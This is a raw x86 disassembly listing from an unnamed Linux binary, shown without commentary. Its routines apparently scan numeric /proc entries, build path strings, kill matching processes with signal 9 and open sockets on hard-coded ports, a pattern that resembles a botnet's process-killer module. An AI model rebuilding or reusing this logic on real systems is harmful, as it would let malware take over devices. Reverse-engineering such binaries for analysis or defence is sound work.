8049e81: 55 push %ebp
8049e82: e8 4c 22 00 00 call 0x804c0d3
8049e87: 58 pop %eax
8049e88: 8d 94 24 38 22 00 00 lea 0x2238(%esp),%edx
8049e8f: 52 push %edx
8049e90: e8 6b 1d 00 00 call 0x804bc00
8049e95: 83 c4 10 add $0x10,%esp
8049e98: 85 c0 test %eax,%eax
8049e9a: 0f 84 fe 02 00 00 je 0x804a19e
8049ea0: 50 push %eax
8049ea1: 50 push %eax
8049ea2: 6a 00 push $0x0
8049ea4: 6a 0d push $0xd
8049ea6: e8 d5 16 00 00 call 0x804b580
8049eab: 31 db xor %ebx,%ebx
8049ead: 89 04 24 mov %eax,(%esp)
8049eb0: e8 8c 25 00 00 call 0x804c441
8049eb5: 89 44 24 10 mov %eax,0x10(%esp)
8049eb9: 83 c4 10 add $0x10,%esp
8049ebc: 85 c0 test %eax,%eax
8049ebe: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
8049ec5: 00
8049ec6: 0f 84 2e 03 00 00 je 0x804a1fa
8049ecc: 83 ec 0c sub $0xc,%esp
8049ecf: 8b 5c 24 0c mov 0xc(%esp),%ebx
8049ed3: 53 push %ebx
8049ed4: e8 59 26 00 00 call 0x804c532
8049ed9: 83 c4 10 add $0x10,%esp
8049edc: 85 c0 test %eax,%eax
8049ede: 0f 84 01 03 00 00 je 0x804a1e5
8049ee4: 8b 4c 24 04 mov 0x4(%esp),%ecx
8049ee8: 85 c9 test %ecx,%ecx
8049eea: 0f 85 f5 02 00 00 jne 0x804a1e5
8049ef0: 8d 78 0b lea 0xb(%eax),%edi
8049ef3: 8a 40 0b mov 0xb(%eax),%al
8049ef6: 83 e8 30 sub $0x30,%eax
8049ef9: 3c 09 cmp $0x9,%al
8049efb: 77 cf ja 0x8049ecc
8049efd: 50 push %eax
8049efe: 50 push %eax
8049eff: 6a 00 push $0x0
8049f01: 6a 0d push $0xd
8049f03: e8 78 16 00 00 call 0x804b580
8049f08: 5e pop %esi
8049f09: 5d pop %ebp
8049f0a: 50 push %eax
8049f0b: 8d 84 24 27 10 00 00 lea 0x1027(%esp),%eax
8049f12: 50 push %eax
8049f13: e8 08 1d 00 00 call 0x804bc20
8049f18: 5b pop %ebx
8049f19: 8d 94 24 27 10 00 00 lea 0x1027(%esp),%edx
8049f20: 52 push %edx
8049f21: e8 da 1c 00 00 call 0x804bc00
8049f26: 5a pop %edx
8049f27: 59 pop %ecx
8049f28: 57 push %edi
8049f29: 8d 94 24 27 10 00 00 lea 0x1027(%esp),%edx
8049f30: 8d 04 02 lea (%edx,%eax,1),%eax
8049f33: 50 push %eax
8049f34: e8 e7 1c 00 00 call 0x804bc20
8049f39: 5d pop %ebp
8049f3a: 58 pop %eax
8049f3b: 6a 00 push $0x0
8049f3d: 6a 0e push $0xe
8049f3f: e8 3c 16 00 00 call 0x804b580
8049f44: 5e pop %esi
8049f45: 89 c3 mov %eax,%ebx
8049f47: 8d 84 24 27 10 00 00 lea 0x1027(%esp),%eax
8049f4e: 50 push %eax
8049f4f: e8 ac 1c 00 00 call 0x804bc00
8049f54: 5a pop %edx
8049f55: 59 pop %ecx
8049f56: 53 push %ebx
8049f57: 8d 94 24 27 10 00 00 lea 0x1027(%esp),%edx
8049f5e: 8d 04 02 lea (%edx,%eax,1),%eax
8049f61: 50 push %eax
8049f62: e8 b9 1c 00 00 call 0x804bc20
8049f67: 83 c4 0c add $0xc,%esp
8049f6a: 68 00 10 00 00 push $0x1000
8049f6f: 8d 44 24 23 lea 0x23(%esp),%eax
8049f73: 50 push %eax
8049f74: 8d 94 24 27 10 00 00 lea 0x1027(%esp),%edx
8049f7b: 52 push %edx
8049f7c: e8 23 23 00 00 call 0x804c2a4
8049f81: 83 c4 10 add $0x10,%esp
8049f84: 40 inc %eax
8049f85: 0f 84 41 ff ff ff je 0x8049ecc
8049f8b: 50 push %eax
8049f8c: 50 push %eax
8049f8d: 6a 00 push $0x0
8049f8f: 6a 0d push $0xd
8049f91: e8 ea 15 00 00 call 0x804b580
8049f96: 5e pop %esi
8049f97: 5d pop %ebp
8049f98: 50 push %eax
8049f99: 8d 84 24 27 10 00 00 lea 0x1027(%esp),%eax
8049fa0: 50 push %eax
8049fa1: e8 7a 1c 00 00 call 0x804bc20
8049fa6: 5b pop %ebx
8049fa7: 8d 94 24 27 10 00 00 lea 0x1027(%esp),%edx
8049fae: 52 push %edx
8049faf: e8 4c 1c 00 00 call 0x804bc00
8049fb4: 5a pop %edx
8049fb5: 59 pop %ecx
8049fb6: 57 push %edi
8049fb7: 8d 94 24 27 10 00 00 lea 0x1027(%esp),%edx
8049fbe: 8d 04 02 lea (%edx,%eax,1),%eax
8049fc1: 50 push %eax
8049fc2: e8 59 1c 00 00 call 0x804bc20
8049fc7: 5d pop %ebp
8049fc8: 58 pop %eax
8049fc9: 6a 00 push $0x0
8049fcb: 6a 0f push $0xf
8049fcd: e8 ae 15 00 00 call 0x804b580
8049fd2: 5e pop %esi
8049fd3: 89 c3 mov %eax,%ebx
8049fd5: 8d 84 24 27 10 00 00 lea 0x1027(%esp),%eax
8049fdc: 50 push %eax
8049fdd: e8 1e 1c 00 00 call 0x804bc00
8049fe2: 5a pop %edx
8049fe3: 59 pop %ecx
8049fe4: 53 push %ebx
8049fe5: 8d 94 24 27 10 00 00 lea 0x1027(%esp),%edx
8049fec: 8d 04 02 lea (%edx,%eax,1),%eax
8049fef: 50 push %eax
8049ff0: e8 2b 1c 00 00 call 0x804bc20
8049ff5: 58 pop %eax
8049ff6: 8d 84 24 27 10 00 00 lea 0x1027(%esp),%eax
8049ffd: 50 push %eax
8049ffe: e8 3e 24 00 00 call 0x804c441
804a003: 83 c4 10 add $0x10,%esp
804a006: 89 c5 mov %eax,%ebp
804a008: 85 c0 test %eax,%eax
804a00a: 0f 84 bc fe ff ff je 0x8049ecc
804a010: 83 ec 0c sub $0xc,%esp
804a013: 55 push %ebp
804a014: e8 19 25 00 00 call 0x804c532
804a019: 83 c4 10 add $0x10,%esp
804a01c: 89 c6 mov %eax,%esi
804a01e: 85 c0 test %eax,%eax
804a020: 0f 84 4b 02 00 00 je 0x804a271
804a026: 8b 44 24 04 mov 0x4(%esp),%eax
804a02a: 85 c0 test %eax,%eax
804a02c: 0f 85 3f 02 00 00 jne 0x804a271
804a032: 50 push %eax
804a033: 50 push %eax
804a034: 68 00 10 00 00 push $0x1000
804a039: 8d 54 24 27 lea 0x27(%esp),%edx
804a03d: 52 push %edx
804a03e: e8 4d 1c 00 00 call 0x804bc90
804a043: 5b pop %ebx
804a044: 58 pop %eax
804a045: 6a 00 push $0x0
804a047: 6a 0d push $0xd
804a049: e8 32 15 00 00 call 0x804b580
804a04e: 5a pop %edx
804a04f: 59 pop %ecx
804a050: 50 push %eax
804a051: 8d 84 24 27 10 00 00 lea 0x1027(%esp),%eax
804a058: 50 push %eax
804a059: e8 c2 1b 00 00 call 0x804bc20
804a05e: 58 pop %eax
804a05f: 8d 94 24 27 10 00 00 lea 0x1027(%esp),%edx
804a066: 52 push %edx
804a067: e8 94 1b 00 00 call 0x804bc00
804a06c: 59 pop %ecx
804a06d: 5b pop %ebx
804a06e: 57 push %edi
804a06f: 8d 94 24 27 10 00 00 lea 0x1027(%esp),%edx
804a076: 8d 04 02 lea (%edx,%eax,1),%eax
804a079: 50 push %eax
804a07a: e8 a1 1b 00 00 call 0x804bc20
804a07f: 58 pop %eax
804a080: 5a pop %edx
804a081: 6a 00 push $0x0
804a083: 6a 0f push $0xf
804a085: e8 f6 14 00 00 call 0x804b580
804a08a: 89 c3 mov %eax,%ebx
804a08c: 58 pop %eax
804a08d: 8d 84 24 27 10 00 00 lea 0x1027(%esp),%eax
804a094: 50 push %eax
804a095: e8 66 1b 00 00 call 0x804bc00
804a09a: 5a pop %edx
804a09b: 59 pop %ecx
804a09c: 53 push %ebx
804a09d: 8d 94 24 27 10 00 00 lea 0x1027(%esp),%edx
804a0a4: 8d 04 02 lea (%edx,%eax,1),%eax
804a0a7: 50 push %eax
804a0a8: e8 73 1b 00 00 call 0x804bc20
804a0ad: 5b pop %ebx
804a0ae: 8d 84 24 27 10 00 00 lea 0x1027(%esp),%eax
804a0b5: 50 push %eax
804a0b6: e8 45 1b 00 00 call 0x804bc00
804a0bb: 5a pop %edx
804a0bc: 59 pop %ecx
804a0bd: 68 80 e8 04 08 push $0x804e880
804a0c2: 8d 94 24 27 10 00 00 lea 0x1027(%esp),%edx
804a0c9: 8d 04 02 lea (%edx,%eax,1),%eax
804a0cc: 50 push %eax
804a0cd: e8 4e 1b 00 00 call 0x804bc20
804a0d2: 5b pop %ebx
804a0d3: 8d 84 24 27 10 00 00 lea 0x1027(%esp),%eax
804a0da: 50 push %eax
804a0db: e8 20 1b 00 00 call 0x804bc00
804a0e0: 5a pop %edx
804a0e1: 8d 56 0b lea 0xb(%esi),%edx
804a0e4: 59 pop %ecx
804a0e5: 52 push %edx
804a0e6: 8d 94 24 27 10 00 00 lea 0x1027(%esp),%edx
804a0ed: 8d 04 02 lea (%edx,%eax,1),%eax
804a0f0: 50 push %eax
804a0f1: e8 2a 1b 00 00 call 0x804bc20
804a0f6: 83 c4 0c add $0xc,%esp
804a0f9: 68 00 10 00 00 push $0x1000
804a0fe: 8d 44 24 23 lea 0x23(%esp),%eax
804a102: 50 push %eax
804a103: 8d 94 24 27 10 00 00 lea 0x1027(%esp),%edx
804a10a: 52 push %edx
804a10b: e8 94 21 00 00 call 0x804c2a4
804a110: 83 c4 10 add $0x10,%esp
804a113: 40 inc %eax
804a114: 0f 84 f6 fe ff ff je 0x804a010
804a11a: 83 ec 0c sub $0xc,%esp
804a11d: 8d 44 24 27 lea 0x27(%esp),%eax
804a121: 50 push %eax
804a122: e8 d9 1a 00 00 call 0x804bc00
804a127: 83 c4 0c add $0xc,%esp
804a12a: 8d 94 24 30 22 00 00 lea 0x2230(%esp),%edx
804a131: 52 push %edx
804a132: 50 push %eax
804a133: 8d 44 24 27 lea 0x27(%esp),%eax
804a137: 50 push %eax
804a138: e8 63 1d 00 00 call 0x804bea0
804a13d: 83 c4 10 add $0x10,%esp
804a140: 40 inc %eax
804a141: 0f 84 c9 fe ff ff je 0x804a010
804a147: 53 push %ebx
804a148: 53 push %ebx
804a149: 6a 0a push $0xa
804a14b: 57 push %edi
804a14c: e8 5f 1b 00 00 call 0x804bcb0
804a151: 5a pop %edx
804a152: 59 pop %ecx
804a153: 6a 09 push $0x9
804a155: 50 push %eax
804a156: e8 57 20 00 00 call 0x804c1b2
804a15b: c7 44 24 14 01 00 00 movl $0x1,0x14(%esp)
804a162: 00
804a163: 83 c4 10 add $0x10,%esp
804a166: e9 a5 fe ff ff jmp 0x804a010
804a16b: 90 nop
804a16c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
804a170: 46 inc %esi
804a171: 83 fe 01 cmp $0x1,%esi
804a174: 0f 85 9c fc ff ff jne 0x8049e16
804a17a: 80 7a 03 41 cmpb $0x41,0x3(%edx)
804a17e: 74 5e je 0x804a1de
804a180: 42 inc %edx
804a181: 31 db xor %ebx,%ebx
804a183: e9 6e fc ff ff jmp 0x8049df6
804a188: b3 01 mov $0x1,%bl
804a18a: e9 89 fc ff ff jmp 0x8049e18
804a18f: 90 nop
804a190: 31 d2 xor %edx,%edx
804a192: e9 ed fb ff ff jmp 0x8049d84
804a197: 89 ce mov %ecx,%esi
804a199: e9 19 fc ff ff jmp 0x8049db7
804a19e: 83 ec 0c sub $0xc,%esp
804a1a1: 31 db xor %ebx,%ebx
804a1a3: 6a 0d push $0xd
804a1a5: e8 06 14 00 00 call 0x804b5b0
804a1aa: c7 04 24 0e 00 00 00 movl $0xe,(%esp)
804a1b1: e8 fa 13 00 00 call 0x804b5b0
804a1b6: c7 04 24 0f 00 00 00 movl $0xf,(%esp)
804a1bd: e8 ee 13 00 00 call 0x804b5b0
804a1c2: c7 04 24 11 00 00 00 movl $0x11,(%esp)
804a1c9: e8 e2 13 00 00 call 0x804b5b0
804a1ce: 83 c4 10 add $0x10,%esp
804a1d1: 81 c4 3c 22 00 00 add $0x223c,%esp
804a1d7: 89 d8 mov %ebx,%eax
804a1d9: 5b pop %ebx
804a1da: 5e pop %esi
804a1db: 5f pop %edi
804a1dc: 5d pop %ebp
804a1dd: c3 ret
804a1de: c6 44 24 0b 01 movb $0x1,0xb(%esp)
804a1e3: eb 9b jmp 0x804a180
804a1e5: 83 ec 0c sub $0xc,%esp
804a1e8: 8b 54 24 0c mov 0xc(%esp),%edx
804a1ec: 52 push %edx
804a1ed: e8 df 21 00 00 call 0x804c3d1
804a1f2: 0f be 5c 24 14 movsbl 0x14(%esp),%ebx
804a1f7: 83 c4 10 add $0x10,%esp
804a1fa: 83 ec 0c sub $0xc,%esp
804a1fd: 6a 01 push $0x1
804a1ff: e8 88 38 00 00 call 0x804da8c
804a204: c7 04 24 0d 00 00 00 movl $0xd,(%esp)
804a20b: e8 a0 13 00 00 call 0x804b5b0
804a210: c7 04 24 0e 00 00 00 movl $0xe,(%esp)
804a217: e8 94 13 00 00 call 0x804b5b0
804a21c: c7 04 24 0f 00 00 00 movl $0xf,(%esp)
804a223: e8 88 13 00 00 call 0x804b5b0
804a228: 83 c4 10 add $0x10,%esp
804a22b: 89 d8 mov %ebx,%eax
804a22d: 81 c4 3c 22 00 00 add $0x223c,%esp
804a233: 5b pop %ebx
804a234: 5e pop %esi
804a235: 5f pop %edi
804a236: 5d pop %ebp
804a237: c3 ret
804a238: 8a 84 24 1c 22 00 00 mov 0x221c(%esp),%al
804a23f: c6 84 24 20 22 00 00 movb $0x0,0x2220(%esp)
804a246: 00
804a247: 88 84 24 1e 22 00 00 mov %al,0x221e(%esp)
804a24e: 8a 84 24 1d 22 00 00 mov 0x221d(%esp),%al
804a255: 88 84 24 1f 22 00 00 mov %al,0x221f(%esp)
804a25c: c6 84 24 1c 22 00 00 movb $0x30,0x221c(%esp)
804a263: 30
804a264: c6 84 24 1d 22 00 00 movb $0x30,0x221d(%esp)
804a26b: 30
804a26c: e9 83 fa ff ff jmp 0x8049cf4
804a271: 83 ec 0c sub $0xc,%esp
804a274: 55 push %ebp
804a275: e8 57 21 00 00 call 0x804c3d1
804a27a: 83 c4 10 add $0x10,%esp
804a27d: e9 4a fc ff ff jmp 0x8049ecc
804a282: 90 nop
804a283: 90 nop
804a284: 90 nop
804a285: 90 nop
804a286: 90 nop
804a287: 90 nop
804a288: 90 nop
804a289: 90 nop
804a28a: 90 nop
804a28b: 90 nop
804a28c: 90 nop
804a28d: 90 nop
804a28e: 90 nop
804a28f: 90 nop
804a290: 55 push %ebp
804a291: 57 push %edi
804a292: 56 push %esi
804a293: 53 push %ebx
804a294: 81 ec 18 21 00 00 sub $0x2118,%esp
804a29a: 6a 00 push $0x0
804a29c: e8 9e 20 00 00 call 0x804c33f
804a2a1: 89 c6 mov %eax,%esi
804a2a3: e8 59 1e 00 00 call 0x804c101
804a2a8: 83 c4 10 add $0x10,%esp
804a2ab: a3 10 f1 04 08 mov %eax,0x804f110
804a2b0: 85 c0 test %eax,%eax
804a2b2: 7e 0b jle 0x804a2bf
804a2b4: 81 c4 0c 21 00 00 add $0x210c,%esp
804a2ba: 5b pop %ebx
804a2bb: 5e pop %esi
804a2bc: 5f pop %edi
804a2bd: 5d pop %ebp
804a2be: c3 ret
804a2bf: 40 inc %eax
804a2c0: 74 f2 je 0x804a2b4
804a2c2: 83 ec 0c sub $0xc,%esp
804a2c5: 6a 05 push $0x5
804a2c7: e8 c0 37 00 00 call 0x804da8c
804a2cc: c7 04 24 00 10 00 00 movl $0x1000,(%esp)
804a2d3: e8 98 25 00 00 call 0x804c870
804a2d8: a3 0c f1 04 08 mov %eax,0x804f10c
804a2dd: c6 00 00 movb $0x0,(%eax)
804a2e0: c7 04 24 0d 00 00 00 movl $0xd,(%esp)
804a2e7: c7 05 c4 f0 04 08 00 movl $0x0,0x804f0c4
804a2ee: 00 00 00
804a2f1: e8 3a 13 00 00 call 0x804b630
804a2f6: c7 04 24 0e 00 00 00 movl $0xe,(%esp)
804a2fd: e8 2e 13 00 00 call 0x804b630
804a302: 5d pop %ebp
804a303: 58 pop %eax
804a304: 6a 00 push $0x0
804a306: 6a 0d push $0xd
804a308: e8 73 12 00 00 call 0x804b580
804a30d: 5b pop %ebx
804a30e: 5f pop %edi
804a30f: 50 push %eax
804a310: 8d 84 24 40 10 00 00 lea 0x1040(%esp),%eax
804a317: 89 44 24 1c mov %eax,0x1c(%esp)
804a31b: 50 push %eax
804a31c: e8 ff 18 00 00 call 0x804bc20
804a321: 8d 9c 24 44 10 00 00 lea 0x1044(%esp),%ebx
804a328: 01 c3 add %eax,%ebx
804a32a: e8 f8 1d 00 00 call 0x804c127
804a32f: 83 c4 0c add $0xc,%esp
804a332: 8d 94 24 b8 20 00 00 lea 0x20b8(%esp),%edx
804a339: 52 push %edx
804a33a: 6a 0a push $0xa
804a33c: 50 push %eax
804a33d: e8 2e 1c 00 00 call 0x804bf70
804a342: 5a pop %edx
804a343: 59 pop %ecx
804a344: 50 push %eax
804a345: 53 push %ebx
804a346: e8 d5 18 00 00 call 0x804bc20
804a34b: 5d pop %ebp
804a34c: 01 c3 add %eax,%ebx
804a34e: 58 pop %eax
804a34f: 6a 00 push $0x0
804a351: 6a 0e push $0xe
804a353: e8 28 12 00 00 call 0x804b580
804a358: 59 pop %ecx
804a359: 5f pop %edi
804a35a: 50 push %eax
804a35b: 53 push %ebx
804a35c: e8 bf 18 00 00 call 0x804bc20
804a361: 89 c7 mov %eax,%edi
804a363: 58 pop %eax
804a364: 5a pop %edx
804a365: 6a 00 push $0x0
804a367: 8d 84 24 40 10 00 00 lea 0x1040(%esp),%eax
804a36e: 50 push %eax
804a36f: e8 70 1e 00 00 call 0x804c1e4
804a374: 83 c4 10 add $0x10,%esp
804a377: 83 f8 ff cmp $0xffffffff,%eax
804a37a: 0f 84 34 ff ff ff je 0x804a2b4
804a380: 83 ec 0c sub $0xc,%esp
804a383: 50 push %eax
804a384: e8 4a 1d 00 00 call 0x804c0d3
804a389: c7 04 24 0d 00 00 00 movl $0xd,(%esp)
804a390: e8 1b 12 00 00 call 0x804b5b0
804a395: c7 04 24 0e 00 00 00 movl $0xe,(%esp)
804a39c: e8 0f 12 00 00 call 0x804b5b0
804a3a1: 83 c4 0c add $0xc,%esp
804a3a4: a1 0c f1 04 08 mov 0x804f10c,%eax
804a3a9: 68 ff 0f 00 00 push $0xfff
804a3ae: 50 push %eax
804a3af: 8d 84 24 40 10 00 00 lea 0x1040(%esp),%eax
804a3b6: 50 push %eax
804a3b7: e8 e8 1e 00 00 call 0x804c2a4
804a3bc: 83 c4 10 add $0x10,%esp
804a3bf: 89 c2 mov %eax,%edx
804a3c1: 83 f8 ff cmp $0xffffffff,%eax
804a3c4: 74 09 je 0x804a3cf
804a3c6: a1 0c f1 04 08 mov 0x804f10c,%eax
804a3cb: c6 04 10 00 movb $0x0,(%eax,%edx,1)
804a3cf: 50 push %eax
804a3d0: 50 push %eax
804a3d1: 8b 6c 24 18 mov 0x18(%esp),%ebp
804a3d5: 8d 04 3b lea (%ebx,%edi,1),%eax
804a3d8: 29 e8 sub %ebp,%eax
804a3da: bd 90 01 00 00 mov $0x190,%ebp
804a3df: 50 push %eax
804a3e0: 8d bc 24 40 10 00 00 lea 0x1040(%esp),%edi
804a3e7: 57 push %edi
804a3e8: e8 a3 18 00 00 call 0x804bc90
804a3ed: c7 44 24 28 00 00 00 movl $0x0,0x28(%esp)
804a3f4: 00
804a3f5: 83 c4 10 add $0x10,%esp
804a3f8: 83 ec 0c sub $0xc,%esp
804a3fb: 6a 0d push $0xd
804a3fd: e8 2e 12 00 00 call 0x804b630
804a402: 5b pop %ebx
804a403: 5f pop %edi
804a404: 6a 00 push $0x0
804a406: 6a 0d push $0xd
804a408: e8 73 11 00 00 call 0x804b580
804a40d: 89 04 24 mov %eax,(%esp)
804a410: e8 2c 20 00 00 call 0x804c441
804a415: 89 44 24 2c mov %eax,0x2c(%esp)
804a419: 83 c4 10 add $0x10,%esp
804a41c: 85 c0 test %eax,%eax
804a41e: 0f 84 90 fe ff ff je 0x804a2b4
804a424: 83 ec 0c sub $0xc,%esp
804a427: 6a 0d push $0xd
804a429: e8 82 11 00 00 call 0x804b5b0
804a42e: c7 04 24 bb e5 00 00 movl $0xe5bb,(%esp)
804a435: e8 06 f8 ff ff call 0x8049c40
804a43a: c7 04 24 07 c7 00 00 movl $0xc707,(%esp)
804a441: e8 fa f7 ff ff call 0x8049c40
804a446: c7 04 24 05 3a 00 00 movl $0x3a05,(%esp)
804a44d: e8 ee f7 ff ff call 0x8049c40
804a452: c7 04 24 05 39 00 00 movl $0x3905,(%esp)
804a459: e8 e2 f7 ff ff call 0x8049c40
804a45e: c7 04 24 01 a4 00 00 movl $0xa401,(%esp)
804a465: e8 d6 f7 ff ff call 0x8049c40
804a46a: c7 04 24 00 e8 00 00 movl $0xe800,(%esp)
804a471: e8 ca f7 ff ff call 0x8049c40
804a476: c7 04 24 02 9a 00 00 movl $0x9a02,(%esp)
804a47d: e8 be f7 ff ff call 0x8049c40
804a482: c7 04 24 06 8c 00 00 movl $0x8c06,(%esp)
804a489: e8 b2 f7 ff ff call 0x8049c40
804a48e: c7 04 24 01 bb 00 00 movl $0xbb01,(%esp)
804a495: e8 a6 f7 ff ff call 0x8049c40
804a49a: c7 04 24 10 e1 00 00 movl $0xe110,(%esp)
804a4a1: e8 9a f7 ff ff call 0x8049c40
804a4a6: c7 04 24 1a 0b 00 00 movl $0xb1a,(%esp)
804a4ad: e8 8e f7 ff ff call 0x8049c40
804a4b2: c7 04 24 1a 29 00 00 movl $0x291a,(%esp)
804a4b9: e8 82 f7 ff ff call 0x8049c40
804a4be: c7 04 24 03 e7 00 00 movl $0xe703,(%esp)
804a4c5: e8 76 f7 ff ff call 0x8049c40
804a4ca: c7 04 24 00 45 00 00 movl $0x4500,(%esp)
804a4d1: e8 6a f7 ff ff call 0x8049c40
804a4d6: c7 04 24 00 15 00 00 movl $0x1500,(%esp)
804a4dd: e8 5e f7 ff ff call 0x8049c40
804a4e2: c7 04 24 00 14 00 00 movl $0x1400,(%esp)
804a4e9: e8 52 f7 ff ff call 0x8049c40
804a4ee: c7 04 24 04 bc 00 00 movl $0xbc04,(%esp)
804a4f5: e8 46 f7 ff ff call 0x8049c40
804a4fa: c7 04 24 02 2b 00 00 movl $0x2b02,(%esp)
804a501: e8 3a f7 ff ff call 0x8049c40
804a506: c7 04 24 01 bc 00 00 movl $0xbc01,(%esp)
804a50d: e8 2e f7 ff ff call 0x8049c40
804a512: c7 04 24 01 4d 00 00 movl $0x4d01,(%esp)
804a519: e8 22 f7 ff ff call 0x8049c40
804a51e: c7 04 24 00 de 00 00 movl $0xde00,(%esp)
804a525: e8 16 f7 ff ff call 0x8049c40
804a52a: c7 04 24 00 6f 00 00 movl $0x6f00,(%esp)
804a531: e8 0a f7 ff ff call 0x8049c40
804a536: c7 04 24 02 9a 00 00 movl $0x9a02,(%esp)
804a53d: e8 fe f6 ff ff call 0x8049c40
804a542: c7 04 24 03 09 00 00 movl $0x903,(%esp)
804a549: e8 f2 f6 ff ff call 0x8049c40
804a54e: c7 04 24 03 78 00 00 movl $0x7803,(%esp)
804a555: e8 e6 f6 ff ff call 0x8049c40
804a55a: c7 04 24 03 e7 00 00 movl $0xe703,(%esp)
804a561: e8 da f6 ff ff call 0x8049c40
804a566: c7 04 24 04 00 00 00 movl $0x4,(%esp)
804a56d: e8 ce f6 ff ff call 0x8049c40
804a572: c7 04 24 08 00 00 00 movl $0x8,(%esp)
804a579: e8 c2 f6 ff ff call 0x8049c40
804a57e: c7 04 24 06 50 00 00 movl $0x5006,(%esp)
804a585: e8 b6 f6 ff ff call 0x8049c40
804a58a: c7 04 24 10 f7 00 00 movl $0xf710,(%esp)
804a591: e8 aa f6 ff ff call 0x8049c40
804a596: c7 04 24 00 0b 00 00 movl $0xb00,(%esp)
804a59d: e8 9e f6 ff ff call 0x8049c40
804a5a2: c7 04 24 00 0a 00 00 movl $0xa00,(%esp)
804a5a9: e8 92 f6 ff ff call 0x8049c40
804a5ae: 66 c7 84 24 e6 20 00 movw $0x1700,0x20e6(%esp)
804a5b5: 00 00 17
804a5b8: 66 c7 84 24 d6 20 00 movw $0xa5d0,0x20d6(%esp)
804a5bf: 00 d0 a5
804a5c2: 66 c7 84 24 f6 20 00 movw $0x5f91,0x20f6(%esp)
804a5c9: 00 91 5f
804a5cc: 66 c7 84 24 06 21 00 movw $0x85ce,0x2106(%esp)
804a5d3: 00 ce 85
804a5d6: c7 04 24 00 17 00 00 movl $0x1700,(%esp)
804a5dd: e8 5e f6 ff ff call 0x8049c40
804a5e2: 83 c4 10 add $0x10,%esp
804a5e5: 84 c0 test %al,%al
804a5e7: 0f 84 be 04 00 00 je 0x804aaab
804a5ed: 51 push %ecx
804a5ee: 6a 00 push $0x0
804a5f0: 6a 01 push $0x1
804a5f2: 6a 02 push $0x2
804a5f4: e8 26 22 00 00 call 0x804c81f
804a5f9: 83 c4 10 add $0x10,%esp
804a5fc: 89 c3 mov %eax,%ebx
804a5fe: 83 f8 ff cmp $0xffffffff,%eax
804a601: 74 1e je 0x804a621
804a603: 8d 84 24 d4 20 00 00 lea 0x20d4(%esp),%eax
804a60a: 52 push %edx
804a60b: 6a 10 push $0x10
804a60d: 50 push %eax
804a60e: 53 push %ebx
804a60f: e8 48 20 00 00 call 0x804c65c
804a614: 5f pop %edi
804a615: 58 pop %eax
804a616: 6a 01 push $0x1
804a618: 53 push %ebx
804a619: e8 fa 20 00 00 call 0x804c718
804a61e: 83 c4 10 add $0x10,%esp
804a621: 51 push %ecx
804a622: 6a 00 push $0x0
804a624: 6a 01 push $0x1
804a626: 6a 02 push $0x2
804a628: e8 f2 21 00 00 call 0x804c81f
804a62d: 83 c4 10 add $0x10,%esp
804a630: 89 c3 mov %eax,%ebx
804a632: 83 f8 ff cmp $0xffffffff,%eax
804a635: 74 1e je 0x804a655
804a637: 8d 84 24 c4 20 00 00 lea 0x20c4(%esp),%eax
804a63e: 52 push %edx
804a63f: 6a 10 push $0x10
804a641: 50 push %eax
804a642: 53 push %ebx
804a643: e8 14 20 00 00 call 0x804c65c
804a648: 5f pop %edi
804a649: 58 pop %eax
804a64a: 6a 01 push $0x1
804a64c: 53 push %ebx
804a64d: e8 c6 20 00 00 call 0x804c718
804a652: 83 c4 10 add $0x10,%esp
804a655: 51 push %ecx
804a656: 6a 00 push $0x0
804a658: 6a 01 push $0x1
804a65a: 6a 02 push $0x2
804a65c: e8 be 21 00 00 call 0x804c81f
804a661: 83 c4 10 add $0x10,%esp
804a664: 89 c3 mov %eax,%ebx
804a666: 83 f8 ff cmp $0xffffffff,%eax
804a669: 74 1e je 0x804a689
804a66b: 8d 84 24 f4 20 00 00 lea 0x20f4(%esp),%eax
804a672: 52 push %edx
804a673: 6a 10 push $0x10
804a675: 50 push %eax
804a676: 53 push %ebx
804a677: e8 e0 1f 00 00 call 0x804c65c
804a67c: 5f pop %edi
804a67d: 58 pop %eax
804a67e: 6a 01 push $0x1
804a680: 53 push %ebx
804a681: e8 92 20 00 00 call 0x804c718
804a686: 83 c4 10 add $0x10,%esp
804a689: 51 push %ecx
804a68a: 6a 00 push $0x0
804a68c: 6a 01 push $0x1
804a68e: 6a 02 push $0x2
804a690: e8 8a 21 00 00 call 0x804c81f
804a695: 83 c4 10 add $0x10,%esp
804a698: 89 c3 mov %eax,%ebx
804a69a: 83 f8 ff cmp $0xffffffff,%eax
804a69d: 74 21 je 0x804a6c0
804a69f: 8d 84 24 e4 20 00 00 lea 0x20e4(%esp),%eax
804a6a6: 52 push %edx
804a6a7: 6a 10 push $0x10
804a6a9: 50 push %eax
804a6aa: 53 push %ebx
804a6ab: e8 ac 1f 00 00 call 0x804c65c
804a6b0: 5f pop %edi
804a6b1: 58 pop %eax
804a6b2: 6a 01 push $0x1
804a6b4: 53 push %ebx
804a6b5: e8 5e 20 00 00 call 0x804c718
804a6ba: 83 c4 10 add $0x10,%esp
804a6bd: 8d 76 00 lea 0x0(%esi),%esi
804a6c0: 83 ec 0c sub $0xc,%esp
804a6c3: 8b 44 24 28 mov 0x28(%esp),%eax
804a6c7: 50 push %eax
804a6c8: e8 65 1e 00 00 call 0x804c532
804a6cd: 83 c4 10 add $0x10,%esp
804a6d0: 89 c2 mov %eax,%edx
804a6d2: 85 c0 test %eax,%eax
804a6d4: 0f 84 e5 01 00 00 je 0x804a8bf
804a6da: 8a 42 0b mov 0xb(%edx),%al
804a6dd: 83 e8 30 sub $0x30,%eax
804a6e0: 3c 09 cmp $0x9,%al
804a6e2: 77 dc ja 0x804a6c0
804a6e4: 83 ec 0c sub $0xc,%esp
804a6e7: 8d 7a 0b lea 0xb(%edx),%edi
804a6ea: 57 push %edi
804a6eb: e8 f2 31 00 00 call 0x804d8e2
804a6f0: 83 c4 10 add $0x10,%esp
804a6f3: 8b 4c 24 18 mov 0x18(%esp),%ecx
804a6f7: 89 44 24 20 mov %eax,0x20(%esp)
804a6fb: 41 inc %ecx
804a6fc: 39 c5 cmp %eax,%ebp
804a6fe: 89 4c 24 18 mov %ecx,0x18(%esp)
804a702: 7c 21 jl 0x804a725
804a704: 83 ec 0c sub $0xc,%esp
804a707: 6a 00 push $0x0
804a709: e8 31 1c 00 00 call 0x804c33f
804a70e: 29 f0 sub %esi,%eax
804a710: 83 c4 10 add $0x10,%esp
804a713: 3d 58 02 00 00 cmp $0x258,%eax
804a718: 0f 8e b6 01 00 00 jle 0x804a8d4
804a71e: bd 90 01 00 00 mov $0x190,%ebp
804a723: eb 9b jmp 0x804a6c0
804a725: 83 ec 0c sub $0xc,%esp
